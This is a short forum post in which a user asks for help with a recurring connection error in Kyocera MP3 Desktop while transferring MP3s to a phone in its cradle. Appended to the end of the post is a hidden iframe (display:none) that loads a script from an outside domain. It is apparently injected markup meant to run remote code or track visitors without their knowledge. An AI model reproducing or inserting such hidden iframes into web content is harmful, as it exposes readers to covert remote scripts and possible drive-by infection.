I have the Kyocera MP3 Desktop installed and am trying to transfer some MP3's to the phone. I am following the instructions and have the phone in the cradel, the Downloader app loaded and the Connect button used but the MP3 Desktop keeps giving me this error:

To perform this function, complete the following steps.

1. Connect your phone via the cradle or data cable.
2. Make sure the Downloader app is open and runnning on the phone.
3. Press the "Connect" button.

Any help would be greatly appreciated.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>